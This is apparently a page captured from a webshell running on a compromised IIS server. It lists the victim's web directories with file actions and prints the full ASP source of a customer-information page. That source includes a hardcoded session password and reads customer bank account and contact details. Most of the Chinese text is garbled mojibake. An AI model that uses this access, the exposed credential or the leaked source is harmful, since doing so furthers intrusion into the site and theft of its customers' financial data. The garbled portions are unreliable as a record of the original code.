Webshell Akmal archtte id

System: Microsoft Windows NT 10.0.20348.0

Server: Microsoft-IIS/10.0

User: buyyou

Directory: C:\MyData\WWW\asc365\

Name	Size	Type	Actions
ASC365_CANADA	-	Directory	Rename Delete
ASC365_Store01	-	Directory	Rename Delete
aspnet_client	-	Directory	Rename Delete
CompanyImage	-	Directory	Rename Delete
TJGS_USA	-	Directory	Rename Delete
zhijian	-	Directory	Rename Delete
Memo.inc	0 bytes	.inc	Edit Rename Delete
web.config	213 bytes	.config	Edit Rename Delete

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<%
Thispage ="http://" & Request.ServerVariables("SERVER_NAME") & Request.ServerVariables("URL")
if session("TaoBaopassword")<>"8879365" then response.end
set fs=Server.CreateObject("Scripting.FileSystemObject")
'-------------------------------------------------------------
FileNamee="PW.PW"
If (fs.FileExists(Server.MapPath(FileNamee)))=true then
	Set f=fs.OpenTextFile(Server.MapPath(FileNamee), 1)
	TBY_MC=trim(f.ReadLine)		'�Ա�԰����
	TBY_MM=trim(f.ReadLine)		'�Ա�԰����
	KHRK_MM=trim(f.ReadLine)	'�ͻ��������
	GLRK_MM=trim(f.ReadLine)	'�����������
	MMGL_MM=trim(f.ReadLine)	'�����������
	KHRK_MC=trim(f.ReadLine)		'�ͻ��������
	GLRK_MC=trim(f.ReadLine)		'�����������
	MMGL_MC=trim(f.ReadLine)		'�����������
	GZZD_MM=trim(f.ReadLine)		'�����ƶ�����
	GLJY_MM=trim(f.ReadLine)		'�����������
	KDJBFY_MM=trim(f.ReadLine)		'��ݻ�����������
	KHJBXX_MM=trim(f.ReadLine)		'�ͻ�������Ϣ����
	KDFHFY_MM=trim(f.ReadLine)		'��ݷ�����������
	KDGSYF_MM=trim(f.ReadLine)		'��ݹ�˾�˷�����
	f.Close
	Set f=Nothing
end if
MM02_02=session("MM02_02")
if Lcase(KHJBXX_MM)<>Lcase(MM02_02) then response.end
'-------------------------------------------------------------
Function YYMMDD(YMD)
Y_Y = DatePart("yyyy",YMD)
M_M = DatePart("m",YMD) : If Len(M_M) < 2 Then M_M = "0" & M_M
D_D = DatePart("d",YMD) : If Len(D_D) < 2 Then D_D = "0" & D_D
H_H = DatePart("h",YMD) : If Len(H_H) < 2 Then H_H = "0" & H_H
N_N = DatePart("n",YMD) : If Len(N_N) < 2 Then N_N = "0" & N_N
S_S = DatePart("s",YMD) : If Len(S_S) < 2 Then S_S = "0" & S_S
YYMMDD = Y_Y & M_M & D_D		' & H_H & N_N & S_S
end function
'-------------------------------------------------------------
function  Adddot(NUM)
	if isnumeric(NUM)=0 then NUM=0
	NUM=Round(NUM,2)
	if instr(NUM,".")=0 then NUM=NUM & ".00"
	tem=split(NUM,".")
	if len(tem(1))<2 then tem(1)=tem(1) &"0"
	if  len(tem(1))>2  then  tem(1)=left(tem(1),2) 
	NUM=tem(0) &"."& tem(1)
	if NUM<0 and NUM>-1 and len(NUM)=4 then NUM="-0." & right(NUM,2)
	if NUM>0 and len(NUM)<4 then NUM="0" & NUM
	if NUM=0 then NUM=""
	Adddot=NUM
end function
'-------------------------------------------------------------
%>
<title>�Ա�԰</title>
</head>
<body>
<div align="center">
<b><font size="6" face="Verdana" color="#FF0000">�Ա�԰��һ�ͻ�������Ϣ</font></b>
<br><br><br>
<%
Dim KHBM		'�Ա�԰�ͻ�����
Dim DLCSMM		'�ͻ���¼��ʼ����
Dim DWQM		'��λȫ��
Dim DZYYB		'��ַ���ʱ�
Dim FZRXM		'�����ˡ���ϵ������
Dim LXDH		'��ϵ�绰
Dim LXCZ		'��ϵ����
Dim LXXX		'��ϵ����
Dim LXWZ		'��ϵ��ַ
Dim MSN			'MSN
Dim SKYPE		'SKYPE
Dim QQ			'QQ
Dim QT			'����
Dim SKDW		'�տλ
Dim SKZH1		'�տ��˺�1
Dim KHH1		'������1
Dim KHHDZ1		'�����е�ַ1
Dim SKXM		'�տ�����
Dim SKZH2		'�տ��˺�
Dim KHH2		'������2
Dim KHHDZ2		'�����е�ַ2
Dim CPLJDZ1		'��Ʒ���ӵ�ַһ
Dim CPLJDZ2		'��Ʒ���ӵ�ַ��

Dim RQ
'if Month(Date)>3 and Month(Date)<11 then
'	RQ=DateAdd("h",14,now)	'��������
'else
'	RQ=DateAdd("h",15,now)	'��������
'end if
RQ=NOW
RQ=YYMMDD(RQ)
'---------------------------------
Dim KHDM(9999)		'��¼���пͻ��Ļ�����Ϣ
Dim KHDM_JS
KHDM_JS=0
'---------------------------------------------------------------------
FileNamee="TaoBao_Inf"
If (fs.FileExists(Server.MapPath(FileNamee)))=true then
	Set f=fs.OpenTextFile(Server.MapPath(FileNamee), 1)
	do while f.AtEndOfStream = false
		YY=trim(f.ReadLine)
		if isnumeric(left(YY,6)) then
			KHDM(KHDM_JS)=left(YY,6)
			KHDM_JS=KHDM_JS*1+1
		end if
	loop
	f.Close
	Set f=Nothing
end if
for i=0 to KHDM_JS*1-1
	for j=i*1+1 to KHDM_JS*1-1
		if KHDM(i)*1>KHDM(j)*1 then
			YY=KHDM(i)
			KHDM(i)=KHDM(j)
			KHDM(j)=YY
		end if
	next
next
'---------------------------------------------------------------------
KHBM=request.Cookies("KHBM_CX1")
if isnumeric(KHBM)=False or len(KHBM)<>6 then
	KHBM= trim(request.form("T1"))
	response.Cookies("KHBM_CX1")=KHBM
	'response.write KHBM
end if
'------------------------------------------------
KHBM=request.Cookies("KHBM_CX1")
if isnumeric(KHBM)=False or len(KHBM)<>6 then
KHBM=""
'---------------------------------------------------------------------
%>
<form method="POST" action="">
<table border="0" width="500" height="25" style="border-collapse: collapse">
	<tr>
		<td height="25" width="400" align="center"><font size="3"><b>��ѡ��ͻ���λ���ֱ��룺</b>
			<Select name="T1" id="T1" ><option value="<%=KHBM%>"><%=KHBM%></option>
			<% for C_II=0 to KHDM_JS*1-1 %>
			<option value="<%=KHDM(C_II)%>"><%=KHDM(C_II)%></option>
			<% next %>
			</Select>
		</td>
		<td height="25" width="100" align="center"><input type="submit" value="�ύ" name="B1"></td>
	</tr>
</table>
</form>
<br><br>
<%
	response.end
end if
'---------------------------------------------------------------------
if isnumeric(KHBM) and len(KHBM)=6 then
	W_inf="��ѯ���� "& KHBM &" �ͻ�����Ϣ��"
	FileNamee="TaoBao_Inf"
	If (fs.FileExists(Server.MapPath(FileNamee)))=true then
		Set f=fs.OpenTextFile(Server.MapPath(FileNamee), 1)
		do while f.AtEndOfStream = false
			YY=trim(f.ReadLine)
			if left(YY,6)*1=KHBM*1 then
				str=Split(YY,"|")
				DWQM=str(1)			'��λȫ��
				DZYYB=str(2)		'��ַ���ʱ�
				FZRXM=str(3)		'�����ˡ���ϵ������
				LXDH=str(4)			'��ϵ�绰
				LXCZ=str(5)			'��ϵ����
				LXXX=str(6)			'��ϵ����
				LXWZ=str(7)			'��ϵ��ַ
				MSN=str(8)			'MSN
				SKYPE=str(9)		'SKYPE
				QQ=str(10)			'QQ
				QT=str(11)			'����
				SKDW=str(12)		'�տλ
				SKZH1=str(13)		'�տ��˺�1
				KHH1=str(14)		'������1
				KHHDZ1=str(15)		'�����е�ַ1
				SKXM=str(16)		'�տ�����
				SKZH2=str(17)		'�տ��˺�
				KHH2=str(18)		'������2
				KHHDZ2=str(19)		'�����е�ַ2
				CPLJDZ1=str(20)		'��Ʒ���ӵ�ַһ
				CPLJDZ2=str(21)		'��Ʒ���ӵ�ַ��
				RQ=str(22)			'��������
				W_inf=""
				exit do
			end if
		loop
		f.Close
		Set f=Nothing
	end if
	'---------------------------------------------------------------------
	Temp=Server.MapPath("Store") & "\" & KHBM & "\PW.inf"
	If fs.FileExists(Temp)=true then
		Set f=fs.OpenTextFile(Temp,1)
		DLCSMM=Trim(f.ReadLine)
		f.Close
		Set f=Nothing
	end if
	'-----------------------------
	If request.form ("B01")="ȷ��" then
		response.Cookies("KHBM_CX1")=""
		Response.Redirect "KHJBXX_CX1.asp"
	end if
%>
<form method="post" action="">
	<table border="1" width="1100" height="20" bordercolor="#33CCFF" style="border-collapse: collapse">
		<tr>
			<td height="20" width="180" bgcolor="#DDDDDD" align="right">�ͻ�����</td>
			<td height="20" width="100" align="center"><%=KHBM%></td>
			<td height="20" width="180" bgcolor="#DDDDDD" align="right">�ͻ���¼����<font color="#FF0000">*</font></td>
			<td height="20" width="120" align="center"><%=DLCSMM%></td>
			<td height="20" width="120" bgcolor="#DDDDDD" align="right">��λȫ��<font color="#FF0000">*</font></td>
			<td height="20" width="400" align="left"><%=DWQM%></td>
		</tr>
		<tr>
			<td height="20" width="180" bgcolor="#DDDDDD" align="right">��ַ���ʱ�</td>
			<td height="20" width="920" align="left" colspan="5"><%=DZYYB%></td>
		</tr>
		<tr>
			<td height="20" width="180" bgcolor="#DDDDDD" align="right">�����ˡ���ϵ������<font color="#FF0000">*</font></td>
			<td height="20" width="920" align="left" colspan="5"><%=FZRXM%></td>
		</tr>
		<tr>
			<td height="20" width="180" bgcolor="#DDDDDD" align="right">�绰<font color="#FF0000">*</font></td>
			<td height="20" width="400" align="left" colspan="3"><%=LXDH%></td>
			<td height="20" width="120" bgcolor="#DDDDDD" align="right">����</td>
			<td height="20" width="400" align="left"><%=LXCZ%></td>
		</tr>
		<tr>
			<td height="20" width="180" bgcolor="#DDDDDD" align="right">����</td>
			<td height="20" width="400" align="left" colspan="3"><%=LXXX%></td>
			<td height="20" width="120" bgcolor="#DDDDDD" align="right">��ַ</td>
			<td height="20" width="400" align="left"><%=LXWZ%></td>
		</tr>
		<tr>
			<td height="20" width="180" bgcolor="#DDDDDD" align="right">MSN</td>
			<td height="20" width="400" align="left" colspan="3"><%=MSN%></td>
			<td height="20" width="120" bgcolor="#DDDDDD" align="right">SKYPE</td>
			<td height="20" width="400" align="left"><%=SKYPE%></td>
		</tr>
		<tr>
			<td height="20" width="180" bgcolor="#DDDDDD" align="right">QQ</td>
			<td height="20" width="400" align="left" colspan="3"><%=QQ%></td>
			<td height="20" width="120" bgcolor="#DDDDDD" align="right">����</td>
			<td height="20" width="400" align="left"><%=QT%></td>
		</tr>
		<tr>
			<td height="20" width="180" bgcolor="#DDDDDD" align="right">�տλ</td>
			<td height="20" width="400" align="left" colspan="3"><%=SKDW%></td>
			<td height="20" width="120" bgcolor="#DDDDDD" align="right">�տ��˺�</td>
			<td height="20" width="400" align="left"><%=SKZH1%></td>
		</tr>
		<tr>
			<td height="20" width="180" bgcolor="#DDDDDD" align="right">������</td>
			<td height="20" width="400" align="left" colspan="3"><%=KHH1%></td>
			<td height="20" width="120" bgcolor="#DDDDDD" align="right">�����е�ַ</td>
			<td height="20" width="400" align="left"><%=KHHDZ1%></td>
		</tr>
		<tr>
			<td height="20" width="180" bgcolor="#DDDDDD" align="right">�տ�����</td>
			<td height="20" width="400" align="left" colspan="3"><%=SKXM%></td>
			<td height="20" width="120" bgcolor="#DDDDDD" align="right">�տ��˺�</td>
			<td height="20" width="400" align="left"><%=SKZH2%></td>
		</tr>
		<tr>
			<td height="20" width="180" bgcolor="#DDDDDD" align="right">������</td>
			<td height="20" width="400" align="left" colspan="3"><%=KHH2%></td>
			<td height="20" width="120" bgcolor="#DDDDDD" align="right">�����е�ַ</td>
			<td height="20" width="400" align="left"><%=KHHDZ2%></td>
		</tr>
		<tr>
			<td height="20" width="180" bgcolor="#DDDDDD" align="right">��Ʒ���ӵ�ַһ</td>
			<td height="20" width="920" align="left" colspan="5"><a target="_blank" href="<%=CPLJDZ1%>"><%=CPLJDZ1%></a></td>
		</tr>
		<tr>
			<td height="20" width="180" bgcolor="#DDDDDD" align="right">��Ʒ���ӵ�ַ��</td>
			<td height="20" width="920" align="left" colspan="5"><a target="_blank" href="<%=CPLJDZ2%>"><%=CPLJDZ2%></a></td>
		</tr>
	</table>
	<br><br>
	<font color="#FF0000" face="Verdana" size="4"><B><%=W_inf%></B></font>
	<br><br>
	<input type="submit" value="ȷ��" name="B01">
</form>
<%
end if
%>

</body>
</div>
<%Set fs=Nothing%>
</html>